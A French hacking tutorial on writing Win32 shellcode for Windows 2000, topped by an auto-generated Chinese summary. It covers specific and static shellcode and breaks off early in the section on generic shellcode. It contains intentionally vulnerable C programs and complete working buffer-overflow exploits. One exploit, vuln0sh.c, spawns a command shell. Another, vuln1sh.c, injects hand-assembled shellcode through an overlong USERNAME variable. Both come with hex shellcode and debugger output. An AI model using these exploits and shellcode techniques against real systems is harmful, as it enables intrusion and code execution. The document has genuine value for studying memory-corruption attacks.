REAL Win32 GENERIC SHELLCODE

本文深入探讨了Win32通用Shellcode的设计和实现,提供了一种创新、优化且优雅的解决方案。作者介绍了Shellcode的基础知识,包括其作用、类型、挑战,并对比了社区已有的解决方案。文章详细阐述了如何通过Process Environment Block消除基地址依赖,以及重建LoadLibraryA和GetProcAddress的方法。此外,还提供了基于这种技术的150字节和247字节Shellcode实例。
摘要由CSDN通过智能技术生成
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/

				  ============================
  			        * REAL Win32 GENERIC SHELLCODE *
				  ============================
		  The ultimate solution for hacking win2k with all service pack


				     By ThreaT & Crazylord.

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/


Pré-introduction
^^^^^^^^^^^^^^^^
Cet article n'est nullemment un vulgaire papier proposant une compilation ou explication
des techniques déjà existantes dans le domaine des shellcodes win32 génériques.

L'objet de cet essai est de proposé une solution innovante, optimisée et élégante à l'élaboration
de code injectable, et suppose une forte compétence technique en matière de programmation
bas niveau.

Pour que notre approche soit claire et bien comprise, nous nous attarderons à faire un
récapitulatif de ce que sont les shellcodes win32, en expliquant leur utilité, les solutions
apportées par la communauté mondiale, ainsi que les problèmes pouvant se poser lors de leur
création.

Ceci permettra dans un premier temps de rafraîchir les mémoires, puis dans un deuxième temps
de crédibiliser notre demarche, et ainsi apporter la preuve comparative que notre technique
constitue la meilleure solution dans la conception de shellcode générique sous win2k.

Il ne nous reste plus qu'à vous laisser entre les mains de votre autodidactisme, tout en
vous souhaitant une bonne lecture...


-


Table des matières
******************

...I/ Introduction.

..II/ Les shellcodes win32 en général.

------> 2.a) About Win32 shellcodes.
------> 2.b) Les shellcodes spécifiques.
------> 2.c) Les shellcodes statiques.
------> 2.d) Les shellcodes génériques.

.III/ Etude de quelques solutions apportées par la communauté " underground mondiale ".

------> 3.a) Etude du shellcode statique de |Zan. ( ~ 1170 bytes )
------> 3.b) Etude du shellcode générique de RaiSe. ( 790 bytes )

..IV/ Notre approche sur la question.

------> 4.a) L'abolition de l'adresse de base, grâce au Process Environment Block.
------> 4.b) Une reconstruction de LoadLibraryA / GetProcAdress.
------> 4.c) La mise en place d'une fonction ASM exportable et injectable.

...V/ Quelques shellcodes génériques, basés sur la fonction magique.

------> 5.a) Shellcode générique d'exécution de commande. (150 bytes)
------> 5.b) Shellcode générique download & execute from URL. (247 bytes)

..VI/ Conclusion.

.VII/ Fin.



/*************************************************************************************
I. INTRODUCTION
*************************************************************************************/

La compréhension des shellcodes est une étape importante dans le processus d'autoformation
d'un hacker, car ceux-ci constituent l'élément essentiel de toutes les attaques evoluées
(buffer overflow, reverse engeenering, Shatter Attacks, rootkit, format string, etc...).

Malgrès certaines bonnes documentations traitant du sujet, comme par exemple 'Designing win32
shellcode' by sunnis, le monde win32 ne trouve refuge quand dans des commentaires d'explication,
relatant les méthodes utilisées pour créer des shellcodes spécifiques, et s'extasie devant
des projets génériques dont les shellcodes dépassent souvent les 800 octets !!

Pour enfin avoir une documentation française traitant du sujet, et surtout introduire notre
approche sur la conception de shellcode générique sous win2k, nous avons decidé de léguer
cet article à tout les autistes/schizophrenes et autres personnes atteintes du syndrome
d'asperger, cherchant sans cesse la perfection technique...

let's go on!


/*************************************************************************************
II. LES SHELLCODES WIN32 EN GENERALES
*************************************************************************************/


///
2.A ABOUT WIN32 SHELLCODE
///

- Qu'est ce que c'est qu'un shellcode ?
  *************************************

Un shellcode est un micro programme ( moin de 1Ko ) destiné à exécuter une tâche bien
précise (exécution d'une commande, création d'un utilisateur, download d'un fichier, etc...)

- A quoi servent les shellcodes ?
  *******************************

L'utilité première d'un shellcode est d'être INJECTE.
C'est à dire que votre micro programme est placé dans l'espace d'exécution d'un processus
dans le but d'y être executé avec les privilèges de ce dernier.

La deuxieme utilité possible d'un shellcode est de remplacer ou rajouter une fonction
dans un binaire ou une VM on the fly.

- Quelles sont les propriétés generales des shellcodes ?
  ******************************************************

Pour les shellcodes injectables dans des buffers, il faut que le micro programme ne contienne
aucun NULL BYTE (0x00), car cet octet delimite la fin d'une chaine de caractère.
(et tronquerais donc le shellcode)

la deuxième chose à prendre en compte est l'optimisation pour une taille minimale,
ceci afin qu'il puisse être copié même dans un petit buffer.

Enfin, la troisième propriété d'un shellcode est que celui ci ne doit contenir aucune
adresse absolue, car l'adresse où le shellcode est injecté est généralement inconnue.


- Quel est la différence entre un shellcode unix, et un shellcode win32 ?
  ***********************************************************************

Les shellcodes sous win32 sont élaborés à partir des instructions placées dans des librairies
(dll), ce qui implique leur chargement en mémoire avant toute conception (ce qui grossit
fortement les shellcodes), alors que sous unix, les shellcodes utilise les syscalls
(comparables aux interruptions sous DOS), ce qui leurs apporte un réel gain d'octets.



///
2.B LES SHELLCODES SPECIFIQUES
///

Malgrès ce qui a été repondu à la question sur les propriétés générales des shellcodes,
les shellcodes win32 spécifiques utilisent directement les adresses absolues des programmes
qu'ils exploitent.

L'avantage de cette technique est bien sûr une économie d'octet considérable,
et surtout, la possibilité d'utiliser directement des fonctions 'evoluées' sans avoir à écrire
un code long et fastidieux.

Cependent, les shellcodes spécifiques ne sont valides que pour un programme précis, et
ne peuvent en aucun cas être réutilisés à outrance.

Leur utilité s'avère pour l'injection dans de petit buffer, ou dans le patching d'un binaire.

voici un exemple concret pour étayer les esprits :

========================================== vuln0.c ===========================================
#include <stdio.h>

int main (int argc, char *argv[])
{
	char command[50];

	if (!argv[1])
	{
		printf("/nUsage : %s <commande>/n"
			"Une vulnerabilitée est présente si la commande dépasse 60 caractères/n",argv[0]);
		exit (0);
	}

	sprintf (command,"@%s/x00",argv[1]);

	if (!system (command))
		printf ("/nLa commande a été exécutée/n");
	else
		printf ("/nImpossible d'exécuter la commande/n");

return 0;
}
============================================ EOF =============================================


E:/code/SP/vuln>cl /nologo vuln0.c
vuln0.c

E:/code/SP/vuln>vuln0

Usage : vuln0 <commande>
Une vulnerabilitée est présente si la commande dépasse 60 caractères

E:/code/SP/vuln>vuln0 coucou
'coucou' n'est pas reconnu en tant que commande interne
ou externe, un programme exécutable ou un fichier de commandes.

Impossible d'exécuter la commande

E:/code/SP/vuln>vuln0 "echo ceci est une commande de test"
ceci est une commande de test

La commande a été exécutée

E:/code/SP/vuln>vuln0 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB' n'est pas reconnu
en tant que commande interne ou externe, un programme exécutable ou un fichier de commandes.

Impossible d'exécuter la commande

========== BOOM ===========

Module Load: E:/CODE/SP/VULN/vuln0.exe  (no symbols loaded)
Thread Create:  Process=0, Thread=1
Second chance exception c0000005 (Access Violation) occurred
Thread stopped.
>rt
EAX=00000000  EBX=7ffdf000  ECX=00408120  EDX=00000001  ESI=0012f88f  EDI=00000000
EIP=42424242  ESP=0012ff88  EBP=41414141  EFL=00000246
CS=001b  DS=0023  ES=0023  SS=0023  FS=0038  GS=0000
Dr0=e14a8cf8  Dr1=eadd9a01  Dr2=00000000  Dr3=e14e9c28  Dr6=e2963bc8  Dr7=00000001
>


après un court travail d'investigation avec softice, on trouve une adresse suceptible
d'accueillir notre shellcode :)


>dd 132517
0x00132517  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x00132527  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x00132537  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x00132547  41414141 42424141 00004242 00000000 AAAAAABBBB......
0x00132557  0a005800 08010000 13282000 132b4000 .X....... (..@+.
0x00132567  26000000 00000c00 28d5ac00 00000000 ...&.......(....
0x00132577  00000000 00000000 00000000 00000000 ................
0x00132587  00000000 00000000 00000000 00000000 ................
>

comme vous pouvez le voir, nous n'avons que 54 bytes de manoevre.
le shellcode spécifique s'impose !

pour cela, nous devons analyser quelles sont les adresses utilisées par le programme
vulnérable, afin de pouvoir repérer les fonctions qui nous intéressent.

ce qui donne :

--- disassemble of vuln0.c ---

[...]

:00401033 6890804000              push 00408090
:00401038 8D55CC                  lea edx, dword ptr [ebp-34]
:0040103B 52                      push edx
:0040103C E8CB000000              call 0040110C      <-- sprintf ()
:00401041 83C40C                  add esp, 0000000C
:00401044 8D45CC                  lea eax, dword ptr [ebp-34]
:00401047 50                      push eax           <-- (char*) command
:00401048 E829000000              call 00401076      <-- system()
:0040104D 83C404                  add esp, 00000004
:00401050 85C0                    test eax, eax
:00401052 750F                    jne 00401063
:00401054 6898804000              push 00408098
:00401059 E802020000              call 00401260
:0040105E 83C404                  add esp, 00000004
:00401061 EB0D                    jmp 00401070

[...]

* Reference To: KERNEL32.ExitProcess, Ord:007Dh
                                  |
:0040123E FF1560704000            Call dword ptr [00407060] <-- ExitProcess ()

----------------

ok, nous connaissons les adresses d'appel de system() et de ExitProcess() utilisées par
le programme vulnérable.

Nous pouvons donc mettre en place un beau shellcode spécifique qui nous lancera un shell :)

========================================= vuln0sh.c ========================================
/*
* Démonstration d'exploit utilisant un shellcode win32 spécifique
*/

#include <windows.h>

void main () {

	/*
	__asm {

		mov ebp, esp
		xor edi, edi
		push edi
	    	mov word ptr [ebp-4], 'mc'
		mov byte ptr [ebp-2], 'd' // le classique, on met cmd sur le stack

		lea eax, [ebp-4]
		push eax		// push 'cmd' en argument

		mov ebx, 0xFFFFFFFF     // astuce anti null byte
		sub ebx, 0xFFBFEF89     // 0xFFFFFFFF - 0xFFBFEF89 = 00401076 'system()'
		call ebx

		add bx, 0x5FEA		// encore une astuce : 0x401076 + 0x5FEA = 00407060
		call dword ptr [ebx]    // ExitProcess (0)

	}

--- Disassembled data ----

:00401000 55                      push ebp
:00401001 8BEC                    mov ebp, esp
:00401003 53                      push ebx
:00401004 56                      push esi
:00401005 57                      push edi
:00401006 8BEC                    mov ebp, esp
:00401008 33FF                    xor edi, edi
:0040100A 57                      push edi
:0040100B 66C745FC636D            mov [ebp-04], 6D63
:00401011 C645FE64                mov [ebp-02], 64
:00401015 8D45FC                  lea eax, dword ptr [ebp-04]
:00401018 50                      push eax
:00401019 BBFFFFFFFF              mov ebx, FFFFFFFF
:0040101E 81EB89EFBFFF            sub ebx, FFBFEF89
:00401024 FFD3                    call ebx
:00401026 6681C3EA5F              add bx, 5FEA
:0040102B FF13                    call dword ptr [ebx]

* Exploit code */

int i, j;
unsigned char buffer[59], Mallicious[100],

shellcode[] = {
	"/x55/x8B/xEC/x53/x56/x57/x8B/xEC/x33/xFF/x57/x66/xC7/x45/xFC/x63"
	"/x6D/xC6/x45/xFE/x64/x8D/x45/xFC/x50/xBB/xFF/xFF/xFF/xFF/x81/xEB"
	"/x89/xEF/xBF/xFF/xFF/xD3/x66/x81/xC3/xEA/x5F/xFF/x13"
	"/x1F/x25/x13/x00" // ret addr (jouez avec le byte /x1F si sa ne marche pas)
	} ;

for (i=0; i < 59 - (strlen (shellcode) + 1); buffer[i++] = 0x90);
for (i,j=0; i < 59; buffer[i++] = shellcode[j++]);

sprintf (Mallicious,"vuln0.exe %s",buffer);

system (Mallicious);

ExitProcess (0);

}
========================================== EOF ===============================================

on compile l'exploit

-

E:/code/SP/vuln>cl vuln0sh.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

vuln0sh.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

/out:vuln0sh.exe
vuln0sh.obj

-

on lance l'exploit

-

E:/code/SP/vuln>vuln0sh
'??????????U<ìSVW<ì3ÿWfÇEücmÆEþd?EüP»ÿÿÿÿ?ë%ï¿ÿÿÓf?Ãê_ÿ??%?' n'est pas reconnu
en tant que commande interne ou externe, un programme exécutable ou un fichier
de commandes.

Impossible d'exécuter la commande
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

E:/code/SP/vuln>

-

boom, on a un shell :))

Comme vous pouvez le constater, nous avons reussi à exploiter un petit buffer grâce
à la technique du shellcode spécifique.

Le problème de cette attaque est que si nous avions voulu exécuter une autre tâche, comme
par exemple écrire dans un fichier, cela nous aurais été impossible, car vuln0 n'utilise
pas les fonctions dont nous aurions eu besoin.

Tout ceci est donc pratique, mais limité.

heureusement, il existe d'autres techniques :)



///
2.B LES SHELLCODES STATIQUES
///

La compréhension des shellcodes statiques demande un petit peu de connaissances en matière de
programmation win32.

Sa particularité est que celui ci part du principe que toutes les fonctions
dont il a besoin dans Kernel32.dll sont situés à une adresse inchangée (statique)

Pour que le shellcode puisse utiliser toute la puissance du système, et ainsi réaliser
n'importe quel tâche lors de l'exploitation d'un programme vulnérable, celui ci va
surtout se baser sur deux API windows, qui sont les suivantes :

--> LoadLibrary

La fonction LoadLibrary () map le module exécutable specifié dans l'espace d'adressage
du processus qui l'invoque

Utilisation :

HINSTANCE LoadLibrary(
    LPCTSTR  lpLibFileName 	// Adresse ou fichier du module exécutable
   );

--> GetProcAddress

La fonction GetProcAddress () retourne l'adresse de la fonction située dans la librairie
de lien dynamique (DLL) spécifié

Utilisation :

FARPROC GetProcAddress(
    HMODULE  hModule,	// handle du module DLL
    LPCSTR  lpProcName 	// nom de la fonction
   );


et c'est grâce à ces API que le shellcode peut aller chercher et charger toute fonction
exportée dont il aurait besoin.

un exemple pour le démontrer sera plus explicite

========================================= vuln1.c ============================================

#include <windows.h>

void vuln_func (char *UserName)
{
	char name[500];
	lstrcpy (name,UserName);

	printf ("Bonjour %s !/n",name);

}

int main (int argc, char *argv[])
{

	DWORD flag;
	char EnvVar[1000];

	flag = GetEnvironmentVariable("USERNAME",EnvVar,1000);

	vuln_func (EnvVar);

	printf ("/nfin du programme/n");

return 0;
}

======================================== EOF ================================================


Ce programme vulnérable dit bonjour à l'utilisateur actuellement connecté.

Pour pouvoir connaître le nom de cet utilisateur, celui ci ce réfère
à la variable d'environnement USERNAME

Donc, si vous avez observez un peu, vous voyez que la variable est stockée dans
un buffer de 1000 octets, et ce buffer est envoyé en paramètre à la fonction vulnérable
qui ne peut récupérer la valeur que dans un buffer de 500 octets

ce qui veut dire que si la variable USERNAME fait une longueur de 510 ou 520 octets, strcpy
va overwriter le stack et passer le flot d'exécution à l'adresse situé à dword ptr [ESP] :)

on verifie de suite...

E:/code/SP/vuln>cl vuln1.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

vuln1.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

/out:vuln1.exe
vuln1.obj

-

regardons la valeur de la variable USERNAME

-

E:/code/SP/vuln>set | find /i "username"
USERNAME=Administrateur

-

on exécute le prog

-

E:/code/SP/vuln>vuln1
Bonjour Administrateur !

fin du programme

E:/code/SP/vuln>

-

tout va bien

on apporte maintenant une petite modification

-

E:/code/SP/vuln>SET USERNAME=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

-

on relance le prog

-

E:/code/SP/vuln>vuln1
Bonjour AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB !

========== BOOM ===========

Module Load: E:/CODE/SP/VULN/vuln1.exe  (no symbols loaded)
Thread Create:  Process=0, Thread=1
Second chance exception c0000005 (Access Violation) occurred
Thread stopped.
>rt
EAX=00000207  EBX=7ffdf000  ECX=00406090  EDX=00000001  ESI=0012f88f  EDI=78499da7
EIP=42424242  ESP=0012fb90  EBP=41414141  EFL=00000212
CS=001b  DS=0023  ES=0023  SS=0023  FS=0038  GS=0000
Dr0=e14a8c98  Dr1=fb157a01  Dr2=00000000  Dr3=e14e9c28  Dr6=e2966ee8  Dr7=00000001
>

-

EIP=42424242, on tombe en plein dans le buffer overflow classique

-

>dd esp
0x0012FB90  0012fb00 000001fc 41414141 41414141 ........AAAAAAAA
0x0012FBA0  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FBB0  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FBC0  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FBD0  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FBE0  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FBF0  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FC00  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
[...]
0x0012FD60  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FD70  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FD80  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FD90  42424242 0012ff00 002f0000 002f5168 BBBB....../.hQ/.

-

la stack est completement exploséé avec notre variable USERNAME, impeccable

donc, combien sa nous fait de bytes de manoeuvre tout ca ?
(0x0012FD80+0x10) - (0x0012FB90+8) = 0x1F8 soit 504 bytes (c'était prévisible, mais bon)

ok, voici notre approche d'attaque :

Nous allons créer un shellcode qui va forcer le programme vulnérable à exécuter une
boîte de dialogue.

pour ce faire, nous devrons charger la lib user32.dll à l'aide de LoadLibraryA, puis
retrouver l'adresse exportée de la fonction MessageBoxA() qui, (pour rappel), fonctionne
de la manière suivante :

int MessageBox(
    HWND  hWnd,		// handle of owner window
    LPCTSTR  lpText,	// address of text in message box
    LPCTSTR  lpCaption,	// address of title of message box
    UINT  uType 	// style of message box
   );

commencons par connaitre les adresses de bases du kernel32 de notre système d'exploitation

Disassembly of File: kernel32.dll
Code Offset = 00000400, Code Size = 0005D000
Data Offset = 0005D400, Data Size = 00001A00

+++++++++++++++++++ EXPORTED FUNCTIONS ++++++++++++++++++
Number of Exported Functions = 0823 (decimal)

Addr:77E79AC1 Ord: 340 (0154h) Name: GetProcAddress
Addr:77E7A254 Ord: 480 (01E0h) Name: LoadLibraryA
Addr:77E88F94 Ord: 141 (008Dh) Name: ExitProcess

très bien, nous pouvons dorénavant commencer l'élaboration du shellcode, et même enchainer
sur un expoit pour ce petit programme vulnérable

======================================= vuln1sh.c ==========================================

#include <windows.h>

void main () {

/*
* Shellcode statique de démonstration
*
* Ce shellcode affiche une boite de dialogue, et est spécifique à la
* version 5.0.2195.2778 de Kernel32.dll (win2k SP2)
*

	__asm {

		mov ebp, esp
		sub esp, 36			// alloue 36 bytes sur le stack

		mov dword ptr [ebp-36],'sseM'
		mov dword ptr [ebp-32],'Bega'
		mov eax, 0xFFFFFFFF
		sub eax, 0xFFBE8790
		mov dword ptr [ebp-28], eax	// place 'MessageBoxA'

		mov dword ptr [ebp-24], 'resu'
		xor eax, eax
		add ax, 0x3233
		mov dword ptr [ebp-20], eax	// place 'user32'

		mov dword ptr [ebp-17], 'lleH'
		xor eax, eax
		mov ax, '!o'
		mov dword ptr [ebp-13], eax	// place 'Hello!'

		mov dword ptr [ebp-8], 'enwO'
		sub al, 11
		mov dword ptr [ebp-4], eax	// place 'Owned!'

		lea eax, [ebp-24]		// récupère le pointeur sur user32.dll
		mov ebx, 0x77E7A254		// met dans EBX l'adresse de la fonction LoadLibraryA
		push eax
		call ebx			// eax = LoadLibraryA ("user32")

		mov ebx, 0x77E79AC1		// Met dans EBX l'adresse de la fonction 
GetProcAddress
		lea ecx, [ebp-36]		// Récupère le pointeur sur MessageBoxA
		push ecx
		push eax
		call ebx			// GetProcAddresss ((HMODULE)eax,"MessageBoxA")

		xor ecx, ecx
		push 48				// icone Exlamation
		lea ebx, [ebp-17]		// récupère le pointeur sur 'Hello!'
		push ebx
		lea ebx, [ebp-8]		// récupère le pointeur sur 'Owned!'
		push ebx
		push ecx
		call eax			// MessageBox (NULL,"Owned!","Hello!", 48)

		mov eax, 0x77E88F94
		call eax			// ExitProcess (0)
}


  *
  * Disassembled DATA
  *


:00401006 8BEC                    mov ebp, esp
:00401008 83EC24                  sub esp, 00000024
:0040100B C745DC4D657373          mov [ebp-24], 7373654D
:00401012 C745E061676542          mov [ebp-20], 42656761
:00401019 B8FFFFFFFF              mov eax, FFFFFFFF
:0040101E 2D9087BEFF              sub eax, FFBE8790
:00401023 8945E4                  mov dword ptr [ebp-1C], eax
:00401026 C745E875736572          mov [ebp-18], 72657375
:0040102D 33C0                    xor eax, eax
:0040102F 66053332                add ax, 3233
:00401033 8945EC                  mov dword ptr [ebp-14], eax
:00401036 C745EF48656C6C          mov [ebp-11], 6C6C6548
:0040103D 33C0                    xor eax, eax
:0040103F 66B86F21                mov ax, 216F
:00401043 8945F3                  mov dword ptr [ebp-0D], eax
:00401046 C745F84F776E65          mov [ebp-08], 656E774F
:0040104D 2C0B                    sub al, 0B
:0040104F 8945FC                  mov dword ptr [ebp-04], eax
:00401052 8D45E8                  lea eax, dword ptr [ebp-18]
:00401055 BB54A2E777              mov ebx, 77E7A254
:0040105A 50                      push eax
:0040105B FFD3                    call ebx
:0040105D BBC19AE777              mov ebx, 77E79AC1
:00401062 8D4DDC                  lea ecx, dword ptr [ebp-24]
:00401065 51                      push ecx
:00401066 50                      push eax
:00401067 FFD3                    call ebx
:00401069 33C9                    xor ecx, ecx
:0040106B 6A30                    push 00000030
:0040106D 8D5DEF                  lea ebx, dword ptr [ebp-11]
:00401070 53                      push ebx
:00401071 8D5DF8                  lea ebx, dword ptr [ebp-08]
:00401074 53                      push ebx
:00401075 51                      push ecx
:00401076 FFD0                    call eax
:00401078 B8948FE877              mov eax, 77E88F94
:0040107D FFD0                    call eax

Exploit code start here */



	int i,j;
	unsigned char buffer[507],

	shellcode[] = { // taille du shellcode = 121 bytes
	"/x8B/xEC/x83/xEC/x24/xC7/x45/xDC/x4D/x65/x73/x73/xC7/x45/xE0/x61"
	"/x67/x65/x42/xB8/xFF/xFF/xFF/xFF/x2D/x90/x87/xBE/xFF/x89/x45/xE4"
	"/xC7/x45/xE8/x75/x73/x65/x72/x33/xC0/x66/x05/x33/x32/x89/x45/xEC"
	"/xC7/x45/xEF/x48/x65/x6C/x6C/x33/xC0/x66/xB8/x6F/x21/x89/x45/xF3"
	"/xC7/x45/xF8/x4F/x77/x6E/x65/x2C/x0B/x89/x45/xFC/x8D/x45/xE8/xBB"
	"/x54/xA2/xE7/x77/x50/xFF/xD3/xBB/xC1/x9A/xE7/x77/x8D/x4D/xDC/x51"
	"/x50/xFF/xD3/x33/xC9/x6A/x30/x8D/x5D/xEF/x53/x8D/x5D/xF8/x53/x51"
	"/xFF/xD0/xB8/x94/x8F/xE8/x77/xFF/xD0"
	"/xA0/xFB/x12/x00"	// adresse de retour
	} ;

	for (i=0; i < 507 - lstrlen (shellcode); buffer[i++] = 0x90);
	for (i,j=0; i < 507; buffer[i++] = shellcode[j++]);


	if (!SetEnvironmentVariable("USERNAME",buffer))
		printf ("Impossible de créer la variable d'environement malicieuse/n");
	else {
		printf ("Variable USERNAME millicieuse ok !/n"
			"Lancement du programme vulnérable.../n/n");

		system ("vuln1");
	}
}
========================================= EOF ================================================

E:/code/SP/vuln>cl vuln1sh.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

vuln1sh.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

/out:vuln1sh.exe
vuln1sh.obj

E:/code/SP/vuln>vuln1sh
Variable USERNAME mallicieuse ok !
Lancement du programme vulnérable...

Bonjour ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉïýâý$ÃE_M
essÃEÓageB©    -Éç¥ ëEõÃEÞuser3+f?32ëEýÃE´Hell3+f©o!ëE¾ÃE°Owne,?ëE³ìEÞ+TóþwP Ë+-
ÜþwìM_QP Ë3+j0ì]´Sì]°SQ ð©öÅÞw ðá¹? !

_______________
|Hello!      [x]|
|^^^^^^^^^^^^^^^|
|  /^/          |
| / ! / Owned!  |
| -----         |
|   _________   |
|  |   O K   |  |
|   ¨¨¨¨¨¨¨¨¨   |
^^^^^^^^^^^^^^^

donc voila comment grâce à la methode statique, nous avons reussi à créer un petit shellcode
(121 bytes) et exécuter une fonction exportée du système (affichage de boîte de dialogue).

Le problème majeur de cette technique est que le shellcode s'appuie sur des adresses STATIQUES
de fonction relative à Kernel32.dll, et cela oblige l'attaquant à connaitre la version
précise du système d'exploitation cible pour mener son action à bien. (OS / services pack)

La solution qui vient à l'esprit serait d'arriver à créer une fonction permettant
de retrouver au minimum les adresses de LoadLibraryA() et de GetProcAddress(), car même
si une tel fonction grossirait fortement le shellcode, nous serions sur qu'une attaque
'aveugle' aboutirait.

Regardons ce qui existe dans ce domaine...



///
2.B LES SHELLCODES GENERIQUES
///

Comme vous avez dût le comprendre, le principe du shellcode générique et d'arriver à retrouver
par lui même les adresses des fonctions exportées de kernel32.dll

je vais donc vous expliquer la méthode la plus couramment utilisée pour arriver à cette fin.

La première etape consiste à retrouver l'adresse de base de kernel32 en scannant la
mémoire à la recherche d'un pattern, mais une telle opération soulève quelques questions,
à savoir :

-> quel pattern devons nous rechercher ?
-> comment être sur que le pattern correspond à kernel32.dll ?
-> quel plage de mémoire devons nous scanner ?
-> comment éviter les erreurs d'exception générées par la lecture d'un emplacement vide ?

Pour la première question, la réponse est simple, le pattern à rechercher est le header
'MZ' placé au début de tout exécutable.

pour répondre aux deux autres, observons un petit historique des images de bases de notre
dll à travers l'évolution du système microsoft

++++++++++++++++++++++++++++++++++
+ Some ImageBase of kernel32.dll +
++++++++++++++++++++++++++++++++++
+     077E00000h  - NT/W2k       +
+     077E80000h  - NT/W2k       +
+     077E70000h  - NT/W2k       +
+     077ED0000h  - NT/W2k       +
